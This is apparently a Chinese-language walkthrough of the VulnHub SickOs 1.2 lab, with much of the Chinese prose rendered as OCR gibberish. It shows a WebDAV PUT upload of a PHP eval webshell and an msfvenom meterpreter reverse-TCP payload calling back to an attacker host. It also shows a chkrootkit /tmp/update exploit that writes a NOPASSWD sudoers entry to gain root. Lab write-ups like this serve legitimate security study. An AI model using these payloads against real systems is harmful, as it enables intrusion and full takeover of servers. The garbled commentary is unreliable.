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msf > nikto -h 192.168.170.207
[*] exec: nikto -h 192.168.170.207

- Nikto v2.1.6

Target IP: 192.168.170.207

Target Hostname: 192.168.170.207

Target Port: 80

Start Time: 2018-07-17 20:26:54 (GMT8)

Server: Llighttpd/1.4.28
The anti-clickjacking X-Frame-Options header is not present.
The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
ALL CGI directories ‘found’, use '-C none’ to test none
Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
26188 requests: 0 error(s) and 4 item(s) reported on remote host
2018-07-17 20:27:56 (GMT8) (62 seconds)

+ 1 host(s) tested
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msf > searchsploit Lighttpd
[*] exec: searchsploit Lighttpd

|
| (/usr/share/exploitdb/)

1.4.15 - Multiple Code Execution / Denial of Service / Information Disclosure Vulnerabilities | exploits/windows/remote/30322.rb
1.4.16 - FastCGI Header Overflow Remote Command Execution | exploits/multiple/remote/4391.c
1.4.

17 - FastCGI Header Overflow Arbitrary Code Execution | exploits/Linux/remote/4437.c
1.4.x - mod_userdir Information Disclosure | exploits/Linux/remote/31396.txt
< 1.4.23 (BSD/SolLaris) - Source Code Disclosure | exploits/multiple/remote/8786.txt
- Denial of Service (PoC) | exploits/Linux/dos/18295.txt
1.4.31 - Denial of Service (PoC) | exploits/Linux/dos/22902.sh
1.4/1.5 - Slow Request Handling Remote Denial of Service | exploits/Linux/dos/33591.sh

Shellcodes: No Result

dirb3 H 3

ZHI MBI R dirbuster , HEXANATESITH—AGUl, HEHFEHIEEFM M, F mlocate rockyou.txt FXA
kali B # I 7Z8 (EFD) HAK, BREFAT. BT, RIUHLH dirb HERNF
H /usr/share/dirb/wordlists/common.txt 3A— FEHFREMEHTHE (EEMLIT) - HAIT index.php M /test/ B,

msf > dirb “http://192.168.170.207"
[*] exec: dirb "http://192.168.170.207"

DIRB v2.22
By The Dark Raver

START_TIME: Tue Jul 17 20:55:53 2018
URL_BASE: http://192.168.170.207/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.170.207/ ----
+ http://192.168.170.207/index.php (CODE:200|SIZE:163)
==> DIRECTORY: http://192.168.170.207/testi

---- Entering directory: http://102.168.170.207/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w’ if you want to scan it anyway)

END_TIME: Tue Jul 17 20:55:58 2018
DOWNLOADED: 4612 - FOUND: 1




H /test/ BHERAIUFIHE TR, AELRTRHAHER. (BidBET, AEREXEF—N))

BEARIX B —ANAI B SO BRI 1), ARBRARRR S bSO BRI ? (SRR E TS i) HARERAXBRAE
MR EEE EAMAD. ERMRTUMERAHTTPRPUT A ? TR IXA /test/ HF OPTIONS —F, BB EXRHAH
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FRBAburpK T — TFTOPTIONSHIBEE X RFMHTTP A (AR AT LA curl -X OPTIONS

"http://192.168.170.207/test/" )

Request Response

jRaWT Headers T Hex ] j RaWT Headers T Hex ]

OPTIONS /test/ HTTP/1.1 A HTTP/1.1 200 COK

Host: 192.168.170.207 P DAV: 1,2

User—-Agent: Mozilla/5.0 (Macintosh; Intel MS-Author-Via: DAV

Mac 08 X 10.13; rv:57.0) Gecko/20100101 Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE,
Firefox/57.0 COPY, PROPPATCH, LOCK, UNLOCK
Accept: Allow: OPTIONS, GET, HEAD, POST
text/html,application/xhtml+xml,application/x Content-Lengths: 0
mlyg=0.9,*%/*;q=0.8 Connection: close
Accept-Language: Date: Tue, 17 Jul 2018 13:04:05 GMT
zh-CN,zh;g=0.8,zh-TW;g=0.7,2zh-HK;g=0.5,en-US; Server: lighttpd/l1.4.28
g=0.3,en;g=0.2

Connection: close

Upgrade-Insecure—-Requests: 1

RN SE R R puT VER), TRIBUEAburp b4 T —ANhtmisC AT IR, RMER EERTT (EE—AREER S
WM 201 Created ) o

Request Response
j RawT Params T Headers T Hex TXML ] j RaWT Headers T Hex }
PUT /test/test by cgg.html HTTP/1.1 2 HTTP/1.1 201 Created
Hosts:s 192.168.170.207 1 Content-Lengths 0
User—-Agent: Mozilla/5.0 (Macintosh; Intel Connection: close
Mac 0S8 X 10.13; rv:57.0) Gecko/20100101 Date: Tue, 17 Jul 2018 13:06:37 GMT
Firefox/57.0 Server: lighttpd/1.4.28

Accept:
text/html,application/xhtml+xml,application/x
ml;gq=0.9,*/%*;q=0.8

Accept-Language:
zh-CN,zh;g=0.8,zh-TW;g=0.7,2zh-HK;g=0.5,en-US;
g=0.3,en;g=0.2

Connection: close

Upgrade—-Insecure-Requests: 1

Content-Length: 40

<html>
<hl1>Test by cggl!</hl>
</html>

RIG IR ERAT EtEwebshell T . TR Aburp 4% T —4> shell2.php (EAE—ANEERI AL 200 0K )

Request Response
j RawT Params T Headers T Hex TXML } j RaWT Headers T Hex }
PUT /test/shell2.php HTTP/1l.1 A HTTP/1.1 200 OK
Host: 192.168.170.207 1 Content-Length: 0
User-Agent: Mozilla/5.0 (Macintosh; Intel Connection: close
Mac 08 X 10.13; rv:57.0) Gecko/20100101 Date: Tue, 17 Jul 2018 16:35:02 GMT
Firefox/57.0 Server: lighttpd/1.4.28

Accept:
text/html,application/xhtml+xml,application/x
ml;g=0.9,*/*;g=0.8

Accept-Language:
zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;
g=0.3,en;gq=0.2

Connection: close
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Content-Length: 36

<?php
eval($ GET['emd']);
2>

msfvenom‘: i payload

XEAT EE—NE 0 # ik 2/ php webshell, i Fmsfvenom3k4: fipayload. X B £ 5 72 2l & msfconsole F W W7 3
N 30353

root@kali:~/test# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.170.205 LPORT=30353 > shell 303
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload

[-] No arch selected, selecting arch: php from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 1117 bytes

RERIHTTP 417

SRIE R IX AN shell_30353.php L4%%]192.168.170.2071] /test/ HF.

root@kali:~/test# curl -v -T shell 30353.php "http://192.168.170.207/test/"
*  Trying 192.168.170.207...

* TCP_NODELAY set

Connected to 192.168.170.207 (192.168.170.207) port 80 (#0)

PUT /test/shell_30353.php HTTP/1.1

Host: 192.168.170.207

User-Agent: curl/7.60.0

Accept: */*

Content-Length: 1117

Expect: 100-continue

*

HTTP/1.1 417 Expectation Failed
Content-Type: text/html
Content-Length: 363

Connection: close

Date: Tue, 17 Jul 2018 15:46:40 GMT
Server: lighttpd/1.4.28

AN AN AN AN AN AN vV V V V V V VvV

<
<?xml version="1.0" encoding="1is0-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1l/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>417 - Expectation Failed</title>
</head>
<body>
<h1>417 - Expectation Failed</h1>
</body>
</html>
* Closing connection ©



K lighttpd put Expect: 100-continue
REBX R E:

FEcurlftiZHbin E— M EHTTP Header Expect: , Bi¥Headerd expect HIME FEh¥E E RS .

root@kali:~/test# curl -v -H "Expect:" -T shell.php "http://192.168.170.207/test/"
*  Trying 192.168.170.207...

* TCP_NODELAY set

* Connected to 192.168.170.207 (192.168.170.207) port 80 (#0)

PUT /test/shell.php HTTP/1.1

Host: 192.168.170.207

User-Agent: curl/7.60.0

Accept: */*

Content-Length: 1117

* Vv v v v v v

We are completely uploaded and fine
HTTP/1.1 200 OK

Content-Length: @

Date: Tue, 17 Jul 2018 15:52:36 GMT
Server: lighttpd/1.4.28

* A A A A A

Connection #0 to host 192.168.170.207 left intact
5%

AT P HTTP/1.1 BUA HTTP/1.0 AT DA,

EERIIZ )G

) - 4 B () 192.168.170.207/test/ 2 ACIII ¢ R
E5tools [ security £5favorite G Google & &% [ 5% [o x=51% () GitHub &3 YouTube

Index of /test/

Name Last Modified Size Type

Parent Directory/ - Directory

shell.php 2018-Jul-17 09:02:08 1.0K application/x-httpd-php
shell2.php 2018-Jul-17 09:35:03 0.l1K application/x-httpd-php
shell 30353.php 2018-Jul-17 10:21:12 1.0K application/x-httpd-php
shell 443.php 2018-Jul-17 09:57:55 1.0K application/x-httpd-php

test by cqg.html 2018-Jul-17 06:06:37 0.1K text/html

lighttpd/1.4.28

SRIGFEEFTIF msfconsole ZETE EIPHM DWW, REHRA)EE.

msf > use exploit/multi/handler
msf exploit( ) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp

msf exploit( ) > show options

Module options (exploit/multi/handler):



http://redmine.lighttpd.net/boards/2/topics/3598
https://www.youtube.com/watch?v=xzZ3XdPVwcc

Current Setting Required Description

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
LHOST The Listen address (an interface may be specified)
LPORT 4444 The Listen port

Exploit target:

Id Name

0@ Wildcard Target

msf exploit( ) > set LHOST 192.168.170.205
LHOST => 192.168.170.205

msf exploit( ) > set LPORT 30353

LPORT => 30353

msf exploit( ) > exploit -j

[*] Exploit running as background job 0.

msf exploit( ) >

[*] Started reverse TCP handler on 192.168.170.205:30353

msf exploit( ) > sudo netstat -plnt
[*] exec: sudo netstat -plnt

[sudo] password for cqq:
Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp (0] 0 192.168.170.205:30353 0.0.0.0:% LISTEN 57 ARR S RUEY

LB A curlBiE burp Ui 18 IX AN B shell_30353.php 2 JG, RERMET (IEH, WHESRRESHIME) , {H2E&msfconsole
HFHBE AR

kali-linux-2017.1-amd64 ERMEM, 1E#%: Control-38
Places + [] Terminal = VWed 01:23
root@kali: ~
File Edit Wiew Search Terminal Tabs Help

echat_anti_recall x root@kali: ~

+*

Connected to 192.168.178.207 (192.168.1768.287) port 88 (#0)
PUT /test/shell 30353.php HTTP/1.0

Host: 192.168.170.207

User-Agent: curl/7.66.0

Accept: */*

Content-Length: 1117

* # WV VYV VvV VY

We are completely uploaded and fine
HTTP 1.8, assume close after body
HTTP/1.8 201 Created
Content-Length: @

Connection: close

Date: Tue, 17 Jul 2018 17:21:12 GMT
Server: lighttpd/1.4.28

*# AAN A A AA

Closing connection ©




Trying 192.168.170.207...
- TCP_NODELAY set
Connected to 192.168.178.287 (192.168.1768.287) port 88 (#0)
GET /test/shell 30353.php HTTP/1.1
Host: 192.168.170.207

User-Agent: curl/7.60.0
Accept: */*

TR K Hibandst T 4k I3 D ioutbound i i (S RBEMMESR) .
& 25 S T ) 3 O

FRFE msfconsole Fl msfvenom FIELHOSTHIME N E Fim 0, X BEEHKE N 443

>

root@kali:~/test# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.170.205 LPORT=443 > shell 443.p
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload

[-] No arch selected, selecting arch: php from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 1115 bytes

SRIGVT XA shell_443.php o

i~ testd curl -v "http://192.168.170.207 /test/shell_443. php"
*  Trying 192.168.170.207...
* TCP_NODELAY set
* Connected to 192.168.170.207 (192.168.170.207) port B0 (HO)
> COET ftest/shell_443.php HTTP/1.4
> Host: 192.4168.170.207
> User-Agent: curl/7.60.0
> Accept: */%
>

BV AT f 5 e 95 4 i S S TC P 3R

msf exploit( ) > set LHOST 192.168.170.205
LHOST => 192.168.170.205

msf exploit( ) > set LPORT 443

LPORT => 443

msf exploit( ) > exploit -j

[*] Exploit running as background job ©.

[*] Started reverse TCP handler on 192.168.170.205:443
msf exploit( ) > [*] Sending stage (37775 bytes) to 192.168.170.207
i*] Meterpreter session 1 opened (192.168.170.205:44% -> 192.168.170.207:51524) at 2018-07-18 01:01:48 +0800

#Emsfconsole B 5 <15 2| —Mmeterpreterf¥shell.
msf exploit( ) > exploit -j
Exploit running as background job ©.
Started reverse TCP handlLer on 192.168.170.205:443
msf exploit( ) > [*] Sending stage (37775 bytes) to 192.168.170.207

Meterpreter session 1 opened (192.168.170.205:443 -> 192.168.170.207:51524) at 2018-07-18 01:01:48 +0800

exploit( ) > sessions -1

Id Name Type Information Connection




msf exploit(

SRG AT LLZEmeterpreter L shell v 4B 28— A2 E R KIshell, {ERHFE Ay, SR)EFEHpythonskspawn4: ili—“ bash.

msf exploit( ) > s

Active sessions

Id Name Type

2 meterpreter php/Linux www-data (33) @ ubuntu

msf exploit( ) > s
Invalid session identifier

msf exploit( ) > s

[*] Starting interaction with

meterpreter > pwd
/var/www/test
meterpreter > Ls
Listing: /var/www/test

Size
100644 /rw-r--r-- 1115
100644 /rw-r--r-- 36
100644 /rw-r--r-- 1117
100644 /rw-r--r-- 1115
100644 /rw-r--r-- 40

meterpreter > shell
Process 13153 created.
Channel 0 created.

id

essions -i

Information

essions -1i2
: 0
essions -i 2
2...

Last modified

2018-07-18

2018-07-18 00
2018-07-18 01
2018-07-18 00
2018-07-17 21

+0800
+0800
+0800
+0800
+0800

uid=33(www-data) gid=33(www-data) groups=33(www-data)

pythen -c ‘import pty; pty.spawn(”/bin/bash”)

www-data@ubuntu: /var/www/test$
id

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@ubuntu: /var/www/test$
pwd

/var/www/test

www-data@ubuntu: /var/www/test$

R

pwd

Connection

192.168.170.205:443 -> 192.168.170.207:51525 (192.168.170.207)

Name

shell.php
shell2. php
shell_30353.php
shell_443.php
test_by_cqq.html
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chkrootkit exploit $ Q

- 18] A5 B A 1th & EZ ®RE IR

REIL9 18,300 £4ER (AT 0.33 #)

Chkrootkit 0.49 - Local Privilege Escalation - Exploit-DB
https://www.exploit-db.com/exploits/33899/ v EJiF itk T1
20144E6 H28H - Chkrootkit 0.49 - Local Privilege Escalation. CVE-2014-0476. Local exploit for Linux

platform.

https://www.exploit-db.com/exploits/33899/
JREETETF: chkrootkit A crontab, & & LArootH Wr#AT /tmp/update XK. FRBAITURHX— &, EimpE R THE
update3Cf:, MIRAIEkrootHERAVMAME . ER: WIEEAEX BIFHREILS /tmp/update BINATHATHR T, SEITIRM
AIHBEHEHEIAT
XEEBNWMEREREZ, ¥ LE0H waw-data A F|sudoersFIRH, B

www-data@ubuntu:/tmp$ touch /tmp/update

www-data@ubuntu:/tmp$ chmod +x /tmp/update
www-data@ubuntu:/tmp$ echo ‘echo "www-data ALL=(ALL) ALL" >> /etc/sudoers' > update

ERMATTRZIE, K /etc/sudoers XA HMEHUN E HEH 2.
www-data@ubuntu:/tmp$ 1s -al /etc/sudoers

1s -al /etc/sudoers
-r--r----- 1 root root 723 Feb 27 2013 /etc/sudoers

BE T TAEER, e RAGrooth 7 HF HEEBR, SIS /etc/sudoers KIERRA1T. TR

www-data@ubuntu:/tmp$ echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) ALL" >> /etc/sudoers' > u

RIURIR MG O T EH T

www-data@ubuntu:/tmp$ 1s -al /etc/sudoers
1s -al /etc/sudoers
-r--r----- 1 root root 769 Jul 17 21:15 /etc/sudoers


https://www.exploit-db.com/exploits/33899/

ERABRIKREH AN wiw-data FIZRY,

www-data@ubuntu: /tmp$ sudo su
sudo su
[sudo] password for www-data:

Sorry, try again.
[sudo] passwordrfor wwwdata:-1™C

TRS%:
# /tmp/update SCHIBEUN:

www-data@ubuntu:/tmp$ echo 'chmod +w /etc/sudoers & echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudo


http://www.cnblogs.com/itech/archive/2009/08/07/1541017.html

www-data ALL=(ALL)NOPASSWD:ALL

www-data ALL=(ALL)NOPASSWD:ALL

www-data@ubuntu: /var/www/test$ sudo su -

sudo su -

root@ubuntu:~# id

id

uid=0(root) gid=0(root) groups=0(root)

root@ubuntu:~# Ls

Ls

304d840d52840689e0aboaf56d6d3a18-chkrootkit-0.49.tar.3z chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6adodha. txt newRule
root@ubuntu: -~ cat 7dozaaa’2bf93d80040f3f22ecb6ad9odsha. txt

cat 7d03aaa2bf93d80040f3f22ecbadodha. txt

WoW! If you are viewing this, You have "B EIIatMM ! ! “ completed SickOs1.2,
an assesment and thereby fooling tester(s), gathering more information about
ocked, to get a feel of OLd School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this
root@ubuntu:~# cat newRule

cat newRule

# Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
*filter

: INPUT DROP [0:0]

: FORWARD ACCEPT [0:0]

:OUTPUT DROP [0:0]

-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT

-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT

-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT

# Completed on Mon Apr 25 22:48:24 2016

FREEMH sudo su - WE -,

(EEH-, XMsuRAFK, fERMS su" K& R 2 Y#Slroot, HEATrootIFEEESET %, ERLRUMATFHAEEE, A'su-“d
SRAEBEHL 'L, MR MrootEx—H)

RV :

FERIX~crontab3 AT /tmp/update SCHHIBHER —E RN ERLE .

Bt 3¢

XEIMBIFIEN /etc/sudoers BT, TEMBRCHBERHIT, HE

sed '2,$d' -i aa.txt



http://www.cnblogs.com/itech/archive/2009/08/07/1541017.html

2% hitps://blog.csdn.net/jadesuper6/article/details/8088804
B 2K 135 30 )
XEEE T —A newRule B KB HLN T4 o

root@ubuntu:~# cat newRule

cat newRule

# Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
*filter

:INPUT DROP [0:0]

:FORWARD ACCEPT [@:0]

:OUTPUT DROP [0:0]

-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT

-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT

-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT

PR, R#EWW22, 80H K%M H), BiE&8080, 443Yun N XM HuEAE, thRAHEIW22, 80N MK, =&
8080, 443HKu K. ENAHS O R L ¥r80M22, 4k O R 5t ¥F 808014431 KARUEXT SN BHTTP(s) RS W IEH Vil T
RBATATLARAIX— R, Hm O BT E4435RE WU # i shell.


https://blog.csdn.net/jadesuper6/article/details/8088804
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